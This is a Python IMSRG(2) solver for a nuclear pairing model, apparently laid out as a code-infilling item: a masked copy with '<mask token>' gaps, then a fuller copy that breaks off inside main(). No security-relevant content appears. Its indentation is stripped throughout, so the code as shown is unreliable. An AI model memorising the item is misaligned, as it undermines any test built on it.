idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],
idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]
val = 0.5 * np.arctan(2 * Gamma[idx2B[a, b], idx2B[i, j
]] / denom)
eta2B[idx2B[a, b], idx2B[i, j]] = val
eta2B[idx2B[i, j], idx2B[a, b]] = -val
return eta1B, eta2B
def eta_wegner(f, Gamma, user_data):
dim1B = user_data['dim1B']
holes = user_data['holes']
particles = user_data['particles']
bas2B = user_data['bas2B']
basph2B = user_data['basph2B']
idx2B = user_data['idx2B']
idxph2B = user_data['idxph2B']
occB_2B = user_data['occB_2B']
occC_2B = user_data['occC_2B']
occphA_2B = user_data['occphA_2B']
fd = np.zeros_like(f)
fod = np.zeros_like(f)
Gammad = np.zeros_like(Gamma)
Gammaod = np.zeros_like(Gamma)
for a in particles:
for i in holes:
fod[a, i] = f[a, i]
fod[i, a] = f[i, a]
fd = f - fod
for a in particles:
for b in particles:
for i in holes:
for j in holes:
Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b],
idx2B[i, j]]
Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j],
idx2B[a, b]]
Gammad = Gamma - Gammaod
eta1B = np.zeros_like(f)
eta1B += commutator(fd, fod)
for p in range(dim1B):
for q in range(dim1B):
for i in holes:
for a in particles:
eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q]
] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[
i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i
] * Gammad[idx2B[i, p], idx2B[a, q]]
GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))
for p in range(dim1B):
for q in range(dim1B):
for i in holes:
eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] -
transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]])
GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))
for p in range(dim1B):
for q in range(dim1B):
for r in range(dim1B):
eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] +
transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]])
eta2B = np.zeros_like(Gamma)
for p in range(dim1B):
for q in range(dim1B):
for r in range(dim1B):
for s in range(dim1B):
for t in range(dim1B):
eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[
idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[
idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[
idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[
idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[
idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[
idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[
idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[
idx2B[p, q], idx2B[r, t]]
GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))
eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))
Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)
Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)
GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))
GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B,
basph2B, idxph2B)
work = np.zeros_like(GammaGamma)
for i1, (i, j) in enumerate(bas2B):
for i2, (k, l) in enumerate(bas2B):
work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2
] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i],
idx2B[l, k]]
GammaGamma = work
eta2B += GammaGamma
return eta1B, eta2B
def flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):
dim1B = user_data['dim1B']
holes = user_data['holes']
particles = user_data['particles']
bas2B = user_data['bas2B']
idx2B = user_data['idx2B']
basph2B = user_data['basph2B']
idxph2B = user_data['idxph2B']
occB_2B = user_data['occB_2B']
occC_2B = user_data['occC_2B']
occphA_2B = user_data['occphA_2B']
dE = 0.0
for i in holes:
for a in particles:
dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]
for i in holes:
for j in holes:
for a in particles:
for b in particles:
dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[
idx2B[a, b], idx2B[i, j]]
df = np.zeros_like(f)
df += commutator(eta1B, f)
for p in range(dim1B):
for q in range(dim1B):
for i in holes:
for a in particles:
df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]
] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[
i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i
] * eta2B[idx2B[i, p], idx2B[a, q]]
etaGamma = dot(eta2B, dot(occB_2B, Gamma))
for p in range(dim1B):
for q in range(dim1B):
for i in holes:
df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +
transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])
etaGamma = dot(eta2B, dot(occC_2B, Gamma))
for p in range(dim1B):
for q in range(dim1B):
for r in range(dim1B):
df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +
transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])
dGamma = np.zeros_like(Gamma)
for p in range(dim1B):
for q in range(dim1B):
for r in range(dim1B):
for s in range(dim1B):
for t in range(dim1B):
dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t
] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t
] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r
] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s
] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t
] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t
] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r
] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s
] * eta2B[idx2B[p, q], idx2B[r, t]]
etaGamma = dot(eta2B, dot(occB_2B, Gamma))
dGamma += 0.5 * (etaGamma + transpose(etaGamma))
eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)
Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)
etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))
etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,
idxph2B)
work = np.zeros_like(etaGamma)
for i1, (i, j) in enumerate(bas2B):
for i2, (k, l) in enumerate(bas2B):
work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2
] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B
[l, k]]
etaGamma = work
dGamma += etaGamma
return dE, df, dGamma
def get_operator_from_y(y, dim1B, dim2B):
ptr = 0
zero_body = y[ptr]
ptr += 1
one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))
ptr += dim1B * dim1B
two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))
return zero_body, one_body, two_body
def derivative_wrapper(t, y, user_data):
dim1B = user_data['dim1B']
dim2B = dim1B * dim1B
holes = user_data['holes']
particles = user_data['particles']
bas1B = user_data['bas1B']
bas2B = user_data['bas2B']
basph2B = user_data['basph2B']
idx2B = user_data['idx2B']
idxph2B = user_data['idxph2B']
occA_2B = user_data['occA_2B']
occB_2B = user_data['occB_2B']
occC_2B = user_data['occC_2B']
occphA_2B = user_data['occphA_2B']
calc_eta = user_data['calc_eta']
calc_rhs = user_data['calc_rhs']
E, f, Gamma = get_operator_from_y(y, dim1B, dim2B)
eta1B, eta2B = calc_eta(f, Gamma, user_data)
dE, df, dGamma = calc_rhs(eta1B, eta2B, f, Gamma, user_data)
dy = np.append([dE], np.append(reshape(df, -1), reshape(dGamma, -1)))
user_data['dE'] = dE
user_data['eta_norm'] = np.linalg.norm(eta1B, ord='fro') + np.linalg.norm(
eta2B, ord='fro')
return dy
def pairing_hamiltonian(delta, g, user_data):
bas1B = user_data['bas1B']
bas2B = user_data['bas2B']
idx2B = user_data['idx2B']
dim = len(bas1B)
H1B = np.zeros((dim, dim))
for i in bas1B:
H1B[i, i] = delta * np.floor_divide(i, 2)
dim = len(bas2B)
H2B = np.zeros((dim, dim))
for i, j in bas2B:
if i % 2 == 0 and j == i + 1:
for k, l in bas2B:
if k % 2 == 0 and l == k + 1:
H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g
H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g
H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g
H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g
return H1B, H2B
<mask token>
def calc_mbpt2(f, Gamma, user_data):
DE2 = 0.0
particles = user_data['particles']
holes = user_data['holes']
idx2B = user_data['idx2B']
for i in holes:
for j in holes:
for a in particles:
for b in particles:
denom = f[i, i] + f[j, j] - f[a, a] - f[b, b]
me = Gamma[idx2B[a, b], idx2B[i, j]]
DE2 += 0.25 * me * me / denom
return DE2
<mask token>
def main():
delta = float(argv[1])
g = float(argv[2])
particles = 4
dim1B = 8
holes = [0, 1, 2, 3]
particles = [4, 5, 6, 7]
bas1B = range(dim1B)
bas2B = construct_basis_2B(holes, particles)
basph2B = construct_basis_ph2B(holes, particles)
idx2B = construct_index_2B(bas2B)
idxph2B = construct_index_2B(basph2B)
occ1B = construct_occupation_1B(bas1B, holes, particles)
occA_2B = construct_occupationA_2B(bas2B, occ1B)
occB_2B = construct_occupationB_2B(bas2B, occ1B)
occC_2B = construct_occupationC_2B(bas2B, occ1B)
occphA_2B = construct_occupationA_2B(basph2B, occ1B)
user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles,
'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B,
'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B':
occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm':
0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2}
H1B, H2B = pairing_hamiltonian(delta, g, user_data)
E, f, Gamma = normal_order(H1B, H2B, user_data)
y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))
solver = ode(derivative_wrapper, jac=None)
solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)
solver.set_f_params(user_data)
solver.set_initial_value(y0, 0.0)
sfinal = 50
ds = 0.1
print(
'%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s'
% ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||',
'||fod||', '||Gammaod||'))
print('-' * 148)
while solver.successful() and solver.t < sfinal:
ys = solver.integrate(sfinal, step=True)
dim2B = dim1B * dim1B
E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)
DE2 = calc_mbpt2(f, Gamma, user_data)
DE3 = calc_mbpt3(f, Gamma, user_data)
norm_fod = calc_fod_norm(f, user_data)
norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)
print(
'%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f'
% (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'],
user_data['eta_norm'], norm_fod, norm_Gammaod))
if abs(DE2 / E) < 1e-07:
break
return
<mask token>
| <mask token>
def construct_basis_2B(holes, particles):
basis = []
for i in holes:
for j in holes:
basis.append((i, j))
for i in holes:
for a in particles:
basis.append((i, a))
for a in particles:
for i in holes:
basis.append((a, i))
for a in particles:
for b in particles:
basis.append((a, b))
return basis
def construct_basis_ph2B(holes, particles):
basis = []
for i in holes:
for j in holes:
basis.append((i, j))
for i in holes:
for a in particles:
basis.append((i, a))
for a in particles:
for i in holes:
basis.append((a, i))
for a in particles:
for b in particles:
basis.append((a, b))
return basis
def construct_index_2B(bas2B):
index = {}
for i, state in enumerate(bas2B):
index[state] = i
return index
def ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B):
dim = len(basph2B)
Gamma_ph = np.zeros((dim, dim))
for i1, (a, b) in enumerate(basph2B):
for i2, (c, d) in enumerate(basph2B):
Gamma_ph[i1, i2] -= Gamma[idx2B[a, d], idx2B[c, b]]
return Gamma_ph
def inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):
dim = len(bas2B)
Gamma = np.zeros((dim, dim))
for i1, (a, b) in enumerate(bas2B):
for i2, (c, d) in enumerate(bas2B):
Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]
return Gamma
def commutator(a, b):
return dot(a, b) - dot(b, a)
def calc_fod_norm(f, user_data):
particles = user_data['particles']
holes = user_data['holes']
norm = 0.0
for a in particles:
for i in holes:
norm += f[a, i] ** 2 + f[i, a] ** 2
return np.sqrt(norm)
def calc_Gammaod_norm(Gamma, user_data):
particles = user_data['particles']
holes = user_data['holes']
idx2B = user_data['idx2B']
norm = 0.0
for a in particles:
for b in particles:
for i in holes:
for j in holes:
norm += Gamma[idx2B[a, b], idx2B[i, j]] ** 2 + Gamma[
idx2B[i, j], idx2B[a, b]] ** 2
return np.sqrt(norm)
def construct_occupation_1B(bas1B, holes, particles):
dim = len(bas1B)
occ = np.zeros(dim)
for i in holes:
occ[i] = 1.0
return occ
def construct_occupationA_2B(bas2B, occ1B):
dim = len(bas2B)
occ = np.zeros((dim, dim))
for i1, (i, j) in enumerate(bas2B):
occ[i1, i1] = occ1B[i] - occ1B[j]
return occ
def construct_occupationB_2B(bas2B, occ1B):
dim = len(bas2B)
occ = np.zeros((dim, dim))
for i1, (i, j) in enumerate(bas2B):
occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]
return occ
def construct_occupationC_2B(bas2B, occ1B):
dim = len(bas2B)
occ = np.zeros((dim, dim))
for i1, (i, j) in enumerate(bas2B):
occ[i1, i1] = occ1B[i] * occ1B[j]
return occ
def eta_brillouin(f, Gamma, user_data):
dim1B = user_data['dim1B']
particles = user_data['particles']
holes = user_data['holes']
idx2B = user_data['idx2B']
eta1B = np.zeros_like(f)
for a in particles:
for i in holes:
eta1B[a, i] = f[a, i]
eta1B[i, a] = -f[a, i]
eta2B = np.zeros_like(Gamma)
for a in particles:
for b in particles:
for i in holes:
for j in holes:
val = Gamma[idx2B[a, b], idx2B[i, j]]
eta2B[idx2B[a, b], idx2B[i, j]] = val
eta2B[idx2B[i, j], idx2B[a, b]] = -val
return eta1B, eta2B
def eta_imtime(f, Gamma, user_data):
dim1B = user_data['dim1B']
particles = user_data['particles']
holes = user_data['holes']
idx2B = user_data['idx2B']
eta1B = np.zeros_like(f)
for a in particles:
for i in holes:
dE = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]
val = np.sign(dE) * f[a, i]
eta1B[a, i] = val
eta1B[i, a] = -val
eta2B = np.zeros_like(Gamma)
for a in particles:
for b in particles:
for i in holes:
for j in holes:
dE = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[
idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],
idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[
idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],
idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]
val = np.sign(dE) * Gamma[idx2B[a, b], idx2B[i, j]]
eta2B[idx2B[a, b], idx2B[i, j]] = val
eta2B[idx2B[i, j], idx2B[a, b]] = -val
return eta1B, eta2B
def eta_white(f, Gamma, user_data):
dim1B = user_data['dim1B']
particles = user_data['particles']
holes = user_data['holes']
idx2B = user_data['idx2B']
eta1B = np.zeros_like(f)
for a in particles:
for i in holes:
denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]
val = f[a, i] / denom
eta1B[a, i] = val
eta1B[i, a] = -val
eta2B = np.zeros_like(Gamma)
for a in particles:
for b in particles:
for i in holes:
for j in holes:
denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[
idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],
idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[
idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],
idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]
val = Gamma[idx2B[a, b], idx2B[i, j]] / denom
eta2B[idx2B[a, b], idx2B[i, j]] = val
eta2B[idx2B[i, j], idx2B[a, b]] = -val
return eta1B, eta2B
def eta_white_mp(f, Gamma, user_data):
dim1B = user_data['dim1B']
particles = user_data['particles']
holes = user_data['holes']
idx2B = user_data['idx2B']
eta1B = np.zeros_like(f)
for a in particles:
for i in holes:
denom = f[a, a] - f[i, i]
val = f[a, i] / denom
eta1B[a, i] = val
eta1B[i, a] = -val
eta2B = np.zeros_like(Gamma)
for a in particles:
for b in particles:
for i in holes:
for j in holes:
denom = f[a, a] + f[b, b] - f[i, i] - f[j, j]
val = Gamma[idx2B[a, b], idx2B[i, j]] / denom
eta2B[idx2B[a, b], idx2B[i, j]] = val
eta2B[idx2B[i, j], idx2B[a, b]] = -val
return eta1B, eta2B
def eta_white_atan(f, Gamma, user_data):
dim1B = user_data['dim1B']
particles = user_data['particles']
holes = user_data['holes']
idx2B = user_data['idx2B']
eta1B = np.zeros_like(f)
for a in particles:
for i in holes:
denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]
val = 0.5 * np.arctan(2 * f[a, i] / denom)
eta1B[a, i] = val
eta1B[i, a] = -val
eta2B = np.zeros_like(Gamma)
for a in particles:
for b in particles:
for i in holes:
for j in holes:
denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[
idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],
idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[
idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],
idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]
val = 0.5 * np.arctan(2 * Gamma[idx2B[a, b], idx2B[i, j
]] / denom)
eta2B[idx2B[a, b], idx2B[i, j]] = val
eta2B[idx2B[i, j], idx2B[a, b]] = -val
return eta1B, eta2B
def eta_wegner(f, Gamma, user_data):
dim1B = user_data['dim1B']
holes = user_data['holes']
particles = user_data['particles']
bas2B = user_data['bas2B']
basph2B = user_data['basph2B']
idx2B = user_data['idx2B']
idxph2B = user_data['idxph2B']
occB_2B = user_data['occB_2B']
occC_2B = user_data['occC_2B']
occphA_2B = user_data['occphA_2B']
fd = np.zeros_like(f)
fod = np.zeros_like(f)
Gammad = np.zeros_like(Gamma)
Gammaod = np.zeros_like(Gamma)
for a in particles:
for i in holes:
fod[a, i] = f[a, i]
fod[i, a] = f[i, a]
fd = f - fod
for a in particles:
for b in particles:
for i in holes:
for j in holes:
Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b],
idx2B[i, j]]
Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j],
idx2B[a, b]]
Gammad = Gamma - Gammaod
eta1B = np.zeros_like(f)
eta1B += commutator(fd, fod)
for p in range(dim1B):
for q in range(dim1B):
for i in holes:
for a in particles:
eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q]
] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[
i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i
] * Gammad[idx2B[i, p], idx2B[a, q]]
GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))
for p in range(dim1B):
for q in range(dim1B):
for i in holes:
eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] -
transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]])
GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))
for p in range(dim1B):
for q in range(dim1B):
for r in range(dim1B):
eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] +
transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]])
eta2B = np.zeros_like(Gamma)
for p in range(dim1B):
for q in range(dim1B):
for r in range(dim1B):
for s in range(dim1B):
for t in range(dim1B):
eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[
idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[
idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[
idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[
idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[
idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[
idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[
idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[
idx2B[p, q], idx2B[r, t]]
GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))
eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))
Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)
Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)
GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))
GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B,
basph2B, idxph2B)
work = np.zeros_like(GammaGamma)
for i1, (i, j) in enumerate(bas2B):
for i2, (k, l) in enumerate(bas2B):
work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2
] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i],
idx2B[l, k]]
GammaGamma = work
eta2B += GammaGamma
return eta1B, eta2B
def flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):
dim1B = user_data['dim1B']
holes = user_data['holes']
particles = user_data['particles']
bas2B = user_data['bas2B']
idx2B = user_data['idx2B']
basph2B = user_data['basph2B']
idxph2B = user_data['idxph2B']
occB_2B = user_data['occB_2B']
occC_2B = user_data['occC_2B']
occphA_2B = user_data['occphA_2B']
dE = 0.0
for i in holes:
for a in particles:
dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]
for i in holes:
for j in holes:
for a in particles:
for b in particles:
dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[
idx2B[a, b], idx2B[i, j]]
df = np.zeros_like(f)
df += commutator(eta1B, f)
for p in range(dim1B):
for q in range(dim1B):
for i in holes:
for a in particles:
df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]
] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[
i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i
] * eta2B[idx2B[i, p], idx2B[a, q]]
etaGamma = dot(eta2B, dot(occB_2B, Gamma))
for p in range(dim1B):
for q in range(dim1B):
for i in holes:
df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +
transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])
etaGamma = dot(eta2B, dot(occC_2B, Gamma))
for p in range(dim1B):
for q in range(dim1B):
for r in range(dim1B):
df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +
transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])
dGamma = np.zeros_like(Gamma)
for p in range(dim1B):
for q in range(dim1B):
for r in range(dim1B):
for s in range(dim1B):
for t in range(dim1B):
dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t
] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t
] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r
] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s
] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t
] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t
] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r
] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s
] * eta2B[idx2B[p, q], idx2B[r, t]]
etaGamma = dot(eta2B, dot(occB_2B, Gamma))
dGamma += 0.5 * (etaGamma + transpose(etaGamma))
eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)
Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)
etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))
etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,
idxph2B)
work = np.zeros_like(etaGamma)
for i1, (i, j) in enumerate(bas2B):
for i2, (k, l) in enumerate(bas2B):
work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2
] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B
[l, k]]
etaGamma = work
dGamma += etaGamma
return dE, df, dGamma
def get_operator_from_y(y, dim1B, dim2B):
ptr = 0
zero_body = y[ptr]
ptr += 1
one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))
ptr += dim1B * dim1B
two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))
return zero_body, one_body, two_body
def derivative_wrapper(t, y, user_data):
dim1B = user_data['dim1B']
dim2B = dim1B * dim1B
holes = user_data['holes']
particles = user_data['particles']
bas1B = user_data['bas1B']
bas2B = user_data['bas2B']
basph2B = user_data['basph2B']
idx2B = user_data['idx2B']
idxph2B = user_data['idxph2B']
occA_2B = user_data['occA_2B']
occB_2B = user_data['occB_2B']
occC_2B = user_data['occC_2B']
occphA_2B = user_data['occphA_2B']
calc_eta = user_data['calc_eta']
calc_rhs = user_data['calc_rhs']
E, f, Gamma = get_operator_from_y(y, dim1B, dim2B)
eta1B, eta2B = calc_eta(f, Gamma, user_data)
dE, df, dGamma = calc_rhs(eta1B, eta2B, f, Gamma, user_data)
dy = np.append([dE], np.append(reshape(df, -1), reshape(dGamma, -1)))
user_data['dE'] = dE
user_data['eta_norm'] = np.linalg.norm(eta1B, ord='fro') + np.linalg.norm(
eta2B, ord='fro')
return dy
def pairing_hamiltonian(delta, g, user_data):
bas1B = user_data['bas1B']
bas2B = user_data['bas2B']
idx2B = user_data['idx2B']
dim = len(bas1B)
H1B = np.zeros((dim, dim))
for i in bas1B:
H1B[i, i] = delta * np.floor_divide(i, 2)
dim = len(bas2B)
H2B = np.zeros((dim, dim))
for i, j in bas2B:
if i % 2 == 0 and j == i + 1:
for k, l in bas2B:
if k % 2 == 0 and l == k + 1:
H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g
H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g
H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g
H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g
return H1B, H2B
def normal_order(H1B, H2B, user_data):
bas1B = user_data['bas1B']
bas2B = user_data['bas2B']
idx2B = user_data['idx2B']
particles = user_data['particles']
holes = user_data['holes']
E = 0.0
for i in holes:
E += H1B[i, i]
for i in holes:
for j in holes:
E += 0.5 * H2B[idx2B[i, j], idx2B[i, j]]
f = H1B
for i in bas1B:
for j in bas1B:
for h in holes:
f[i, j] += H2B[idx2B[i, h], idx2B[j, h]]
Gamma = H2B
return E, f, Gamma
def calc_mbpt2(f, Gamma, user_data):
DE2 = 0.0
particles = user_data['particles']
holes = user_data['holes']
idx2B = user_data['idx2B']
for i in holes:
for j in holes:
for a in particles:
for b in particles:
denom = f[i, i] + f[j, j] - f[a, a] - f[b, b]
me = Gamma[idx2B[a, b], idx2B[i, j]]
DE2 += 0.25 * me * me / denom
return DE2
def calc_mbpt3(f, Gamma, user_data):
particles = user_data['particles']
holes = user_data['holes']
idx2B = user_data['idx2B']
DE3pp = 0.0
DE3hh = 0.0
DE3ph = 0.0
for a in particles:
for b in particles:
for c in particles:
for d in particles:
for i in holes:
for j in holes:
denom = (f[i, i] + f[j, j] - f[a, a] - f[b, b]) * (
f[i, i] + f[j, j] - f[c, c] - f[d, d])
me = Gamma[idx2B[i, j], idx2B[a, b]] * Gamma[
idx2B[a, b], idx2B[c, d]] * Gamma[idx2B[c,
d], idx2B[i, j]]
DE3pp += 0.125 * me / denom
for i in holes:
for j in holes:
for k in holes:
for l in holes:
for a in particles:
for b in particles:
denom = (f[i, i] + f[j, j] - f[a, a] - f[b, b]) * (
f[k, k] + f[l, l] - f[a, a] - f[b, b])
me = Gamma[idx2B[a, b], idx2B[k, l]] * Gamma[
idx2B[k, l], idx2B[i, j]] * Gamma[idx2B[i,
j], idx2B[a, b]]
DE3hh += 0.125 * me / denom
for i in holes:
for j in holes:
for k in holes:
for a in particles:
for b in particles:
for c in particles:
denom = (f[i, i] + f[j, j] - f[a, a] - f[b, b]) * (
f[k, k] + f[j, j] - f[a, a] - f[c, c])
me = Gamma[idx2B[i, j], idx2B[a, b]] * Gamma[
idx2B[k, b], idx2B[i, c]] * Gamma[idx2B[a,
c], idx2B[k, j]]
DE3ph -= me / denom
return DE3pp + DE3hh + DE3ph
def main():
delta = float(argv[1])
g = float(argv[2])
particles = 4
dim1B = 8
holes = [0, 1, 2, 3]
particles = [4, 5, 6, 7]
bas1B = range(dim1B)
bas2B = construct_basis_2B(holes, particles)
basph2B = construct_basis_ph2B(holes, particles)
idx2B = construct_index_2B(bas2B)
idxph2B = construct_index_2B(basph2B)
occ1B = construct_occupation_1B(bas1B, holes, particles)
occA_2B = construct_occupationA_2B(bas2B, occ1B)
